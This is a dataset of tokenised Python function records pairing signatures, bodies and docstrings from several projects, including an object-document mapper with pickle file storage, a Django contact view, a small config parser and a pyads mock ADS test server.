{"signature": "@classmethod<EOL><INDENT>def cancel_queue(cls):<DEDENT>", "body": "if cls.queue:<EOL><INDENT>cls._cache.clear()<EOL>cls._object_cache.clear()<EOL><DEDENT>cls.clear_queue()<EOL>", "docstring": "Cancel any pending actions. This method clears the queue and also\n        clears caches if any actions are pending.", "id": "f13215:c2:m54"}
{"signature": "@classmethod<EOL><INDENT>def commit_queue(cls):<DEDENT>", "body": "try:<EOL><INDENT>cls.queue.commit()<EOL>cls.clear_queue()<EOL><DEDENT>except:<EOL><INDENT>cls.cancel_queue()<EOL>raise<EOL><DEDENT>", "docstring": "Commit all queued actions. If any actions fail, clear caches. Note:\n        the queue will be cleared whether an error is raised or not.", "id": "f13215:c2:m55"}
{"signature": "@classmethod<EOL><INDENT>def subscribe(cls, signal_name, weak=True):<DEDENT>", "body": "try:<EOL><INDENT>signal = getattr(signals, signal_name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(signal_name)<EOL>)<EOL><DEDENT>sender = None if cls._is_root else cls<EOL>return signal.connect_via(sender, weak)<EOL>", "docstring": ":param str signal_name: Name of signal to subscribe to; must be found\n    in ``signals.py``.\n:param bool weak: Create weak reference to callback\n:returns: Decorator created by ``Signal::connect_via``\n:raises: ValueError if signal is not found\n\nExample usage: ::\n\n    >>> @Schema.subscribe('before_save')\n    ... def listener(cls, instance):\n    ...     instance.value += 1", "id": "f13215:c2:m56"}
{"signature": "@classmethod<EOL><INDENT>@has_storage<EOL>def remove_one(cls, which, rm=True):<DEDENT>", "body": "<EOL>obj = cls._which_to_obj(which)<EOL>rm_fwd_refs(obj)<EOL>rm_back_refs(obj)<EOL>cls._clear_caches(obj._storage_key)<EOL>if rm:<EOL><INDENT>cls.delegate(<EOL>cls._storage[<NUM_LIT:0>].remove,<EOL>False,<EOL>RawQuery(obj._primary_name, '<STR_LIT>', obj._storage_key)<EOL>)<EOL><DEDENT>obj._detached = True<EOL>", "docstring": "Remove an object, along with its references and back-references.\n        Remove the object from the cache_sandbox and sets its _detached flag to True.\n\n        :param which: Object selector: Query, StoredObject, or primary key\n        :param rm: Remove data from backend", "id": "f13215:c2:m64"}
{"signature": "@classmethod<EOL><INDENT>@has_storage<EOL>def remove(cls, query=None):<DEDENT>", "body": "objs = cls.find(query)<EOL>for obj in objs:<EOL><INDENT>cls.remove_one(obj, rm=False)<EOL><DEDENT>cls.delegate(<EOL>cls._storage[<NUM_LIT:0>].remove,<EOL>False,<EOL>query<EOL>)<EOL>", "docstring": "Remove objects by query.\n\n        :param query: Query object", "id": "f13215:c2:m65"}
{"signature": "def _generate_random_id(self, n=<NUM_LIT:5>):", "body": "alphabet = '<STR_LIT>'<EOL>return '<STR_LIT>'.join(random.sample(alphabet, n))<EOL>", "docstring": "Generated random alphanumeric key.\n\n        :param n: Number of characters in random key", "id": "f13217:c3:m1"}
{"signature": "def _optimistic_insert(self, primary_name, value, n=<NUM_LIT:5>):", "body": "while True:<EOL><INDENT>try:<EOL><INDENT>key = self._generate_random_id(n)<EOL>value[primary_name] = key<EOL>self.insert(primary_name, key, value)<EOL>break<EOL><DEDENT>except KeyExistsException:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return key<EOL>", "docstring": "Attempt to insert with randomly generated key until insert\n        is successful.\n\n        :param str primary_name: The name of the primary key.\n        :param dict value: The dictionary representation of the record.\n        :param n: Number of characters in random key", "id": "f13217:c3:m2"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def insert(self, primary_name, key, value):<DEDENT>", "body": "pass<EOL>", "docstring": "Insert a new record.\n\n        :param str primary_name: Name of primary key\n        :param key: The value of the primary key\n        :param dict value: The dictionary of attribute:value pairs", "id": "f13217:c3:m3"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def update(self, query, data):<DEDENT>", "body": "pass<EOL>", "docstring": "Update multiple records with new data.\n\n        :param query: A query object.\n        :param dict data: Dictionary of key:value pairs.", "id": "f13217:c3:m4"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def get(self, primary_name, key):<DEDENT>", "body": "pass<EOL>", "docstring": "Get a single record.\n\n        :param str primary_name: The name of the primary key.\n        :param key: The value of the primary key.", "id": "f13217:c3:m5"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def remove(self, query=None):<DEDENT>", "body": "pass<EOL>", "docstring": "Remove records.", "id": "f13217:c3:m6"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def flush(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Flush the database.", "id": "f13217:c3:m7"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def find_one(self, query=None, **kwargs):<DEDENT>", "body": "pass<EOL>", "docstring": "Gets a single object from the collection.\n\n        If no matching documents are found, raises `NoResultsFound`.\n        If >1 matching documents are found, raises `MultipleResultsFound`.\n\n        :params: One or more `Query` or `QuerySet` objects may be passed\n\n        :returns: The selected document", "id": "f13217:c3:m8"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def find(self, query=None, **kwargs):<DEDENT>", "body": "pass<EOL>", "docstring": "Return a generator of query results. Takes optional `by_pk` keyword\nargument; if true, return keys rather than\nvalues.\n\n:param query:\n\n:return: a generator of :class:`~.storedobject.StoredObject` instances", "id": "f13217:c3:m9"}
{"signature": "def sort(self, *keys):", "body": "self._sort = keys<EOL>return self<EOL>", "docstring": "Iteratively sort data by keys in reverse order.", "id": "f13219:c0:m7"}
{"signature": "def __init__(self, collection_name,  prefix='<STR_LIT>', ext='<STR_LIT>'):", "body": "<EOL>filename = collection_name + '<STR_LIT:.>' + ext<EOL>if prefix:<EOL><INDENT>self.filename = prefix + filename<EOL><DEDENT>else:<EOL><INDENT>self.filename = filename<EOL><DEDENT>self.store = {}<EOL>if os.path.exists(self.filename):<EOL><INDENT>with open(self.filename, '<STR_LIT:rb>') as fp:<EOL><INDENT>data = fp.read()<EOL>self.store = pickle.loads(data)<EOL><DEDENT><DEDENT>", "docstring": "Build pickle file name and load data if exists.\n\n        :param collection_name: Collection name\n        :param prefix: File prefix.\n        :param ext: File extension.", "id": "f13219:c1:m0"}
{"signature": "def _remove_by_pk(self, key, flush=True):", "body": "try:<EOL><INDENT>del self.store[key]<EOL><DEDENT>except Exception as error:<EOL><INDENT>pass<EOL><DEDENT>if flush:<EOL><INDENT>self.flush()<EOL><DEDENT>", "docstring": "Retrieve value from store.\n\n        :param key: Key", "id": "f13219:c1:m5"}
{"signature": "def contact(request):", "body": "form = ContactForm(request.POST or None)<EOL>if form.is_valid():<EOL><INDENT>subject = form.cleaned_data['<STR_LIT>']<EOL>message = form.cleaned_data['<STR_LIT:message>']<EOL>sender = form.cleaned_data['<STR_LIT>']<EOL>cc_myself = form.cleaned_data['<STR_LIT>']<EOL>recipients = settings.CONTACTFORM_RECIPIENTS<EOL>if cc_myself:<EOL><INDENT>recipients.append(sender)<EOL><DEDENT>send_mail(getattr(settings, \"<STR_LIT>\", '<STR_LIT>') + subject, message, sender, recipients)<EOL>return render(request, '<STR_LIT>')<EOL><DEDENT>return render( request, '<STR_LIT>', {'<STR_LIT>': form})<EOL>", "docstring": "Displays the contact form and sends the email", "id": "f13230:m0"}
{"signature": "def log_callback(wrapped_function):", "body": "def debug_log(message):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logger.debug(message.encode('<STR_LIT>').decode())<EOL><DEDENT>@functools.wraps(wrapped_function)<EOL>def _wrapper(parser, match, **kwargs):<EOL><INDENT>func_name = wrapped_function.__name__<EOL>debug_log(u'<STR_LIT>'.format(<EOL>func_name=func_name,<EOL>matched_string=match.group(),<EOL>))<EOL>try:<EOL><INDENT>result = wrapped_function(parser, match, **kwargs)<EOL><DEDENT>except IgnoredMatchException:<EOL><INDENT>debug_log(u'<STR_LIT>'.format(func_name=func_name))<EOL>raise<EOL><DEDENT>debug_log(u'<STR_LIT>'.format(<EOL>func_name=func_name,<EOL>result=result,<EOL>))<EOL>return result<EOL><DEDENT>return _wrapper<EOL>", "docstring": "Decorator that produces DEBUG level log messages before and after\n    calling a parser method.\n\n    If a callback raises an IgnoredMatchException the log will show 'IGNORED'\n    instead to indicate that the parser will not create any objects from\n    the matched string.\n\n    Example:\n        DEBUG:poyo.parser:parse_simple <-     123: 456.789\n        DEBUG:poyo.parser:parse_int <- 123\n        DEBUG:poyo.parser:parse_int -> 123\n        DEBUG:poyo.parser:parse_float <- 456.789\n        DEBUG:poyo.parser:parse_float -> 456.789\n        DEBUG:poyo.parser:parse_simple -> <Simple name: 123, value: 456.789>", "id": "f13238:m0"}
{"signature": "@log_callback<EOL><INDENT>def parse_comment(self, match):<DEDENT>", "body": "raise IgnoredMatchException<EOL>", "docstring": "Ignore line comments.", "id": "f13238:c0:m3"}
{"signature": "@log_callback<EOL><INDENT>def parse_blankline(self, match):<DEDENT>", "body": "raise IgnoredMatchException<EOL>", "docstring": "Ignore blank lines.", "id": "f13238:c0:m4"}
{"signature": "@log_callback<EOL><INDENT>def parse_dashes(self, match):<DEDENT>", "body": "raise IgnoredMatchException<EOL>", "docstring": "Ignore lines that contain three dash symbols.", "id": "f13238:c0:m5"}
{"signature": "def find_match(self):", "body": "for pattern, callback in self.rules:<EOL><INDENT>match = pattern.match(self.source, pos=self.pos)<EOL>if not match:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>node = callback(match)<EOL><DEDENT>except IgnoredMatchException:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>self.seen.append(node)<EOL><DEDENT>return match<EOL><DEDENT>raise NoMatchException(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(self.source[self.pos:])<EOL>)<EOL>", "docstring": "Try to find a pattern that matches the source and calll a parser\n        method to create Python objects.\n\n        A callback that raises an IgnoredMatchException indicates that the\n        given string data is ignored by the parser and no objects are created.\n\n        If none of the pattern match a NoMatchException is raised.", "id": "f13238:c0:m15"}
{"signature": "def __call__(self):", "body": "while self.pos < self.max_pos:<EOL><INDENT>match = self.find_match()<EOL>self.pos = match.end()<EOL><DEDENT>return self.root()<EOL>", "docstring": "Parse the given string data and sequentually update the current\n        cursor position until the end is reached.\n\n        Return the Root object if successful.", "id": "f13238:c0:m16"}
{"signature": "def add_child(self, child):", "body": "if not isinstance(child, ChildMixin):<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(type(child))<EOL>)<EOL><DEDENT>child.parent = self<EOL>self._children.append(child)<EOL>", "docstring": "If the given object is an instance of Child add it to self and\n        register self as a parent.", "id": "f13239:c1:m3"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<EOL><DEDENT>", "body": "cls.test_server = AdsTestServer(logging=True)<EOL>cls.test_server.start()<EOL>time.sleep(<NUM_LIT:1>)<EOL>", "docstring": "Setup the ADS testserver.", "id": "f13247:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def tearDownClass(cls):<EOL><DEDENT>", "body": "cls.test_server.stop()<EOL>time.sleep(<NUM_LIT:1>)<EOL>", "docstring": "Tear down the testserver.", "id": "f13247:c0:m1"}
{"signature": "def setUp(self):<EOL>", "body": "self.test_server.request_history = []<EOL>self.plc = pyads.Connection(TEST_SERVER_AMS_NET_ID,<EOL>TEST_SERVER_AMS_PORT,<EOL>TEST_SERVER_IP_ADDRESS)<EOL>", "docstring": "Establish connection to the testserver.", "id": "f13247:c0:m2"}
{"signature": "def assert_command_id(self, request, target_id):<EOL>", "body": "<EOL>command_id = request.ams_header.command_id<EOL>command_id = struct.unpack('<STR_LIT>', command_id)[<NUM_LIT:0>]<EOL>self.assertEqual(command_id, target_id)<EOL>", "docstring": "Assert command_id and target_id.", "id": "f13247:c0:m3"}
{"signature": "def __enter__(self):<EOL>", "body": "self.start()<EOL>return self<EOL>", "docstring": "Enter context.", "id": "f13251:c0:m1"}
{"signature": "def __exit__(self, exc_type, exc_value, traceback):<EOL>", "body": "self.close()<EOL>", "docstring": "Exit context.", "id": "f13251:c0:m2"}
{"signature": "def stop(self):<EOL>", "body": "<EOL>for client in self.clients:<EOL><INDENT>client.close()<EOL><DEDENT>self.clients = []<EOL>if self._run:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>self._run = False<EOL><DEDENT>self.server.close()<EOL>", "docstring": "Close client connections and stop main server loop.", "id": "f13251:c0:m3"}
{"signature": "def close(self):<EOL>", "body": "self.stop()<EOL>", "docstring": "Close the server thread.", "id": "f13251:c0:m4"}
{"signature": "def run(self):<EOL>", "body": "self._run = True<EOL>self.server.listen(<NUM_LIT:5>)<EOL>logger.info(<EOL>\"<STR_LIT>\".format(<EOL>self.ip_address or \"<STR_LIT:localhost>\", self.port<EOL>)<EOL>)<EOL>while self._run:<EOL><INDENT>ready, _, _ = select.select([self.server], [], [], <NUM_LIT:0.1>)<EOL>if ready:<EOL><INDENT>try:<EOL><INDENT>client, address = self.server.accept()<EOL><DEDENT>except:<EOL><INDENT>continue<EOL><DEDENT>logger.info(\"<STR_LIT>\".format(*address))<EOL>client_thread = AdsClientConnection(<EOL>handler=self.handler, client=client, address=address, server=self<EOL>)<EOL>client_thread.daemon = True<EOL>client_thread.start()<EOL>self.clients.append(client_thread)<EOL><DEDENT><DEDENT>", "docstring": "Listen for incoming connections from clients.", "id": "f13251:c0:m5"}
{"signature": "def stop(self):<EOL>", "body": "if self._run:<EOL><INDENT>logger.info(<EOL>\"<STR_LIT>\".format(*self.client_address)<EOL>)<EOL>self._run = False<EOL><DEDENT>self.join()<EOL>", "docstring": "Stop the client thread.", "id": "f13251:c1:m1"}
{"signature": "def close(self):<EOL>", "body": "if self.is_alive():<EOL><INDENT>self.stop()<EOL><DEDENT>self.client.close()<EOL>", "docstring": "Close the client connection.", "id": "f13251:c1:m2"}
{"signature": "def run(self):<EOL>", "body": "self._run = True<EOL>while self._run:<EOL><INDENT>ready, _, _ = select.select([self.client], [], [], <NUM_LIT:0.1>)<EOL>if not ready:<EOL><INDENT>continue<EOL><DEDENT>data, _ = self.client.recvfrom(<NUM_LIT>)<EOL>if not data:<EOL><INDENT>self.client.close()<EOL>self._run = False<EOL>continue<EOL><DEDENT>if len(data) < <NUM_LIT>:<EOL><INDENT>logger.warning(<EOL>\"<STR_LIT>\".format(<EOL>*self.client_address, data=data<EOL>)<EOL>)<EOL>continue<EOL><DEDENT>request_packet = self.construct_request(data)<EOL>self.server.request_history.append(request_packet)<EOL>response = self.handler.handle_request(request_packet)<EOL>if isinstance(response, (AmsResponseData,)):<EOL><INDENT>response_bytes = self.construct_response(response, request_packet)<EOL>self.client.send(response_bytes)<EOL>continue<EOL><DEDENT>logger.error(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Listen for data on client connection and delegate requests.", "id": "f13251:c1:m3"}
{"signature": "def construct_response(self, response_data, request):<EOL>", "body": "<EOL>target_net_id = request.ams_header.source_net_id<EOL>target_port = request.ams_header.source_port<EOL>source_net_id = request.ams_header.target_net_id<EOL>source_port = request.ams_header.target_port<EOL>command_id = request.ams_header.command_id<EOL>invoke_id = request.ams_header.invoke_id<EOL>state_flags = response_data.state_flags<EOL>ams_length = struct.pack(\"<STR_LIT>\", len(response_data.data))<EOL>error_code = response_data.error_code<EOL>data = response_data.data<EOL>ams_header = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\").join(<EOL>(<EOL>target_net_id,<EOL>target_port,<EOL>source_net_id,<EOL>source_port,<EOL>command_id,<EOL>state_flags,<EOL>ams_length,<EOL>error_code,<EOL>invoke_id,<EOL>data,<EOL>)<EOL>)<EOL>ams_tcp_header = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\") + struct.pack(\"<STR_LIT>\", len(ams_header))<EOL>return ams_tcp_header + ams_header<EOL>", "docstring": "Construct binary AMS response to return to the client.\n\n        :param AmsResponseData response_data: Data to include in the response\n        :param AmsPacket request: The originating request for the response", "id": "f13251:c1:m4"}
{"signature": "def construct_request(self, request_bytes):<EOL>", "body": "data = request_bytes  <EOL>tcp_header = AmsTcpHeader(data[<NUM_LIT:2>:<NUM_LIT:6>])<EOL>ams_header = AmsHeader(<EOL>data[<NUM_LIT:6>:<NUM_LIT:12>],<EOL>data[<NUM_LIT:12>:<NUM_LIT>],<EOL>data[<NUM_LIT>:<NUM_LIT:20>],<EOL>data[<NUM_LIT:20>:<NUM_LIT>],<EOL>data[<NUM_LIT>:<NUM_LIT>],<EOL>data[<NUM_LIT>:<NUM_LIT>],<EOL>data[<NUM_LIT>:<NUM_LIT:30>],<EOL>data[<NUM_LIT:30>:<NUM_LIT>],<EOL>data[<NUM_LIT>:<NUM_LIT>],<EOL>data[<NUM_LIT>:],<EOL>)<EOL>return AmsPacket(tcp_header, ams_header)<EOL>", "docstring": "Unpack an AMS packet from binary data.\n\n        :param bytes request_bytes: The raw request data\n        :rtype AmsPacket:\n        :return: AmsPacket with fields populated from the binary data", "id": "f13251:c1:m5"}
{"signature": "def handle_request(self, request):<EOL>", "body": "raise not NotImplementedError()<EOL>", "docstring": "Handle incoming requests.\n\n        :param AmsPacket request: The request data received from the client\n        :rtype: AmsResponseData\n        :return: Data needed to construct the AMS response packet", "id": "f13251:c2:m0"}
{"signature": "def handle_request(self, request):<EOL>", "body": "<EOL>command_id_bytes = request.ams_header.command_id<EOL>command_id = struct.unpack(\"<STR_LIT>\", command_id_bytes)[<NUM_LIT:0>]<EOL>state = struct.unpack(\"<STR_LIT>\", request.ams_header.state_flags)[<NUM_LIT:0>]<EOL>state = state | <NUM_LIT>  <EOL>state = struct.pack(\"<STR_LIT>\", state)<EOL>if command_id == constants.ADSCOMMAND_READDEVICEINFO:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>major_version = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL>minor_version = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL>version_build = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL>device_name = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL>response_content = (<EOL>major_version + minor_version + version_build + device_name<EOL>)<EOL><DEDENT>elif command_id == constants.ADSCOMMAND_READ:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>response_length = struct.unpack(\"<STR_LIT>\", request.ams_header.data[<NUM_LIT:8>:<NUM_LIT:12>])[<NUM_LIT:0>]<EOL>response_value = ((\"<STR_LIT>\" * (response_length - <NUM_LIT:1>)) + \"<STR_LIT:\\x00>\").encode(\"<STR_LIT:utf-8>\")<EOL>response_content = struct.pack(\"<STR_LIT>\", len(response_value)) + response_value<EOL><DEDENT>elif command_id == constants.ADSCOMMAND_WRITE:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>response_content = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>elif command_id == constants.ADSCOMMAND_READSTATE:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>ads_state = struct.pack(\"<STR_LIT>\", constants.ADSSTATE_RUN)<EOL>device_state = struct.pack(\"<STR_LIT>\", <NUM_LIT:0>)<EOL>response_content = ads_state + device_state<EOL><DEDENT>elif command_id == constants.ADSCOMMAND_WRITECTRL:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>response_content = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>elif command_id == constants.ADSCOMMAND_ADDDEVICENOTE:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>handle = (\"<STR_LIT>\" * <NUM_LIT:4>).encode(\"<STR_LIT:utf-8>\")<EOL>response_content = handle<EOL><DEDENT>elif command_id == constants.ADSCOMMAND_DELDEVICENOTE:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>response_content = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>elif command_id == constants.ADSCOMMAND_DEVICENOTE:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>response_content = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>elif command_id == constants.ADSCOMMAND_READWRITE:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>response_length = struct.unpack(\"<STR_LIT>\", request.ams_header.data[<NUM_LIT:8>:<NUM_LIT:12>])[<NUM_LIT:0>]<EOL>response_value = ((\"<STR_LIT>\" * (response_length - <NUM_LIT:1>)) + \"<STR_LIT:\\x00>\").encode(\"<STR_LIT:utf-8>\")<EOL>response_content = struct.pack(\"<STR_LIT>\", len(response_value)) + response_value<EOL><DEDENT>else:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(hex(command_id)))<EOL>error_code = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL>return AmsResponseData(state, error_code, \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>error_code = (\"<STR_LIT:\\x00>\" * <NUM_LIT:4>).encode(\"<STR_LIT:utf-8>\")<EOL>response_data = error_code + response_content<EOL>return AmsResponseData(state, request.ams_header.error_code, response_data)<EOL>", "docstring": "Handle incoming requests and send a response.", "id": "f13251:c3:m0"}
{"signature": "def handle_request(self, request):<EOL>", "body": "<EOL>command_id_bytes = request.ams_header.command_id<EOL>command_id = struct.unpack(\"<STR_LIT>\", command_id_bytes)[<NUM_LIT:0>]<EOL>state = struct.unpack(\"<STR_LIT>\", request.ams_header.state_flags)[<NUM_LIT:0>]<EOL>state = state | <NUM_LIT>  <EOL>state = struct.pack(\"<STR_LIT>\", state)<EOL>def handle_read_device_info():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logger.info(\"<STR_LIT>\")<EOL>major_version = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL>minor_version = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL>version_build = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL>device_name = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL>response_content = (<EOL>major_version + minor_version + version_build + device_name<EOL>)<EOL>return response_content<EOL><DEDENT>def handle_read():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>data = request.ams_header.data<EOL>index_group = struct.unpack(\"<STR_LIT>\", data[:<NUM_LIT:4>])[<NUM_LIT:0>]<EOL>index_offset = struct.unpack(\"<STR_LIT>\", data[<NUM_LIT:4>:<NUM_LIT:8>])[<NUM_LIT:0>]<EOL>plc_datatype = struct.unpack(\"<STR_LIT>\", data[<NUM_LIT:8>:<NUM_LIT:12>])[<NUM_LIT:0>]<EOL>logger.info(<EOL>(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(index_group, index_offset, plc_datatype)<EOL>)<EOL>if index_group == constants.ADSIGRP_SYM_VALBYHND:<EOL><INDENT>response_value = self._named_data[index_offset].value<EOL><DEDENT>else:<EOL><INDENT>response_value = self._data[(index_group, index_offset)][:plc_datatype]<EOL><DEDENT>return struct.pack(\"<STR_LIT>\", len(response_value)) + response_value<EOL><DEDENT>def handle_write():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>data = request.ams_header.data<EOL>index_group = struct.unpack(\"<STR_LIT>\", data[:<NUM_LIT:4>])[<NUM_LIT:0>]<EOL>index_offset = struct.unpack(\"<STR_LIT>\", data[<NUM_LIT:4>:<NUM_LIT:8>])[<NUM_LIT:0>]<EOL>plc_datatype = struct.unpack(\"<STR_LIT>\", data[<NUM_LIT:8>:<NUM_LIT:12>])[<NUM_LIT:0>]<EOL>value = data[<NUM_LIT:12>:(<NUM_LIT:12> + plc_datatype)]<EOL>logger.info(<EOL>(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(index_group, index_offset, plc_datatype, value)<EOL>)<EOL>if index_group == constants.ADSIGRP_SYM_RELEASEHND:<EOL><INDENT>return b\"<STR_LIT>\"<EOL><DEDENT>elif index_group == constants.ADSIGRP_SYM_VALBYHND:<EOL><INDENT>self._named_data[index_offset].value = value<EOL>return b\"<STR_LIT>\"<EOL><DEDENT>self._data[(index_group, index_offset)] = value<EOL>return b\"<STR_LIT>\"<EOL><DEDENT>def handle_read_write():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>data = request.ams_header.data<EOL>index_group = struct.unpack(\"<STR_LIT>\", data[:<NUM_LIT:4>])[<NUM_LIT:0>]<EOL>index_offset = struct.unpack(\"<STR_LIT>\", data[<NUM_LIT:4>:<NUM_LIT:8>])[<NUM_LIT:0>]<EOL>read_length = struct.unpack(\"<STR_LIT>\", data[<NUM_LIT:8>:<NUM_LIT:12>])[<NUM_LIT:0>]<EOL>write_length = struct.unpack(\"<STR_LIT>\", data[<NUM_LIT:12>:<NUM_LIT:16>])[<NUM_LIT:0>]<EOL>write_data = data[<NUM_LIT:16>:(<NUM_LIT:16> + write_length)]<EOL>logger.info(<EOL>(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(<EOL>index_group, index_offset, read_length, write_length, write_data<EOL>)<EOL>)<EOL>if index_group == constants.ADSIGRP_SYM_HNDBYNAME:<EOL><INDENT>var_name = write_data.decode()<EOL>names = [x.name for x in self._named_data]<EOL>try:<EOL><INDENT>handle = names.index(var_name)<EOL><DEDENT>except ValueError:<EOL><INDENT>self._named_data.append(PLCVariable(name=var_name, value=bytes(<NUM_LIT:16>)))<EOL>handle = len(self._named_data) - <NUM_LIT:1><EOL><DEDENT>read_data = struct.pack(\"<STR_LIT>\", handle)<EOL><DEDENT>else:<EOL><INDENT>read_data = self._data[(index_group, index_offset)][:read_length]<EOL>self._data[(index_group, index_offset)] = write_data<EOL><DEDENT>return struct.pack(\"<STR_LIT>\", len(read_data)) + read_data<EOL><DEDENT>def handle_read_state():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logger.info(\"<STR_LIT>\")<EOL>ads_state = struct.pack(\"<STR_LIT>\", constants.ADSSTATE_RUN)<EOL>device_state = struct.pack(\"<STR_LIT>\", <NUM_LIT:0>)<EOL>return ads_state + device_state<EOL><DEDENT>def handle_writectrl():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logger.info(\"<STR_LIT>\")<EOL>return b\"<STR_LIT>\"<EOL><DEDENT>def handle_add_devicenote():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logger.info(\"<STR_LIT>\")<EOL>handle = (\"<STR_LIT>\" * <NUM_LIT:4>).encode(\"<STR_LIT:utf-8>\")<EOL>return handle<EOL><DEDENT>def handle_delete_devicenote():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logger.info(\"<STR_LIT>\")<EOL>return b\"<STR_LIT>\"<EOL><DEDENT>def handle_devicenote():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>logger.info(\"<STR_LIT>\")<EOL>return b\"<STR_LIT>\"<EOL><DEDENT>function_map = {<EOL>constants.ADSCOMMAND_READDEVICEINFO: handle_read_device_info,<EOL>constants.ADSCOMMAND_READ: handle_read,<EOL>constants.ADSCOMMAND_WRITE: handle_write,<EOL>constants.ADSCOMMAND_READWRITE: handle_read_write,<EOL>constants.ADSCOMMAND_READSTATE: handle_read_state,<EOL>constants.ADSCOMMAND_WRITECTRL: handle_writectrl,<EOL>constants.ADSCOMMAND_ADDDEVICENOTE: handle_add_devicenote,<EOL>constants.ADSCOMMAND_DELDEVICENOTE: handle_delete_devicenote,<EOL>constants.ADSCOMMAND_DEVICENOTE: handle_devicenote,<EOL>}<EOL>try:<EOL><INDENT>response_content = function_map[command_id]()<EOL><DEDENT>except KeyError:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(hex(command_id)))<EOL>error_code = \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\")<EOL>return AmsResponseData(state, error_code, \"<STR_LIT>\".encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>error_code = (\"<STR_LIT:\\x00>\" * <NUM_LIT:4>).encode(\"<STR_LIT:utf-8>\")<EOL>response_data = error_code + response_content<EOL>return AmsResponseData(state, request.ams_header.error_code, response_data)<EOL>", "docstring": "Handle incoming requests and create a response.", "id": "f13251:c5:m1"}
{"signature": "def PLCTYPE_ARR_REAL(n):<EOL>", "body": "return c_float * n<EOL>", "docstring": "Return an array with n float values.", "id": "f13253:m0"}
{"signature": "def PLCTYPE_ARR_LREAL(n):<EOL>", "body": "return c_double * n<EOL>", "docstring": "Return an array with n double values.", "id": "f13253:m1"}
{"signature": "def PLCTYPE_ARR_INT(n):<EOL>", "body": "return c_int16 * n<EOL>", "docstring": "Return an array with n int16 values.", "id": "f13253:m2"}
{"signature": "def PLCTYPE_ARR_DINT(n):<EOL>", "body": "return c_int32 * n<EOL>", "docstring": "Return an array with n int32 values.", "id": "f13253:m3"}
{"signature": "def PLCTYPE_ARR_SHORT(n):<EOL>", "body": "return c_short * n<EOL>", "docstring": "Return an array with n short values.", "id": "f13253:m4"}
{"signature": "def _parse_ams_netid(ams_netid):<EOL>", "body": "try:<EOL><INDENT>id_numbers = list(map(int, ams_netid.split(\"<STR_LIT:.>\")))<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if len(id_numbers) != <NUM_LIT:6>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>ams_netid_st = SAmsNetId()<EOL>ams_netid_st.b = (c_ubyte * <NUM_LIT:6>)(*id_numbers)<EOL>return ams_netid_st<EOL>", "docstring": "Parse an AmsNetId from *str* to *SAmsNetId*.\n\n    :param str ams_netid: NetId as a string\n    :rtype: SAmsNetId\n    :return: NetId as a struct", "id": "f13258:m0"}
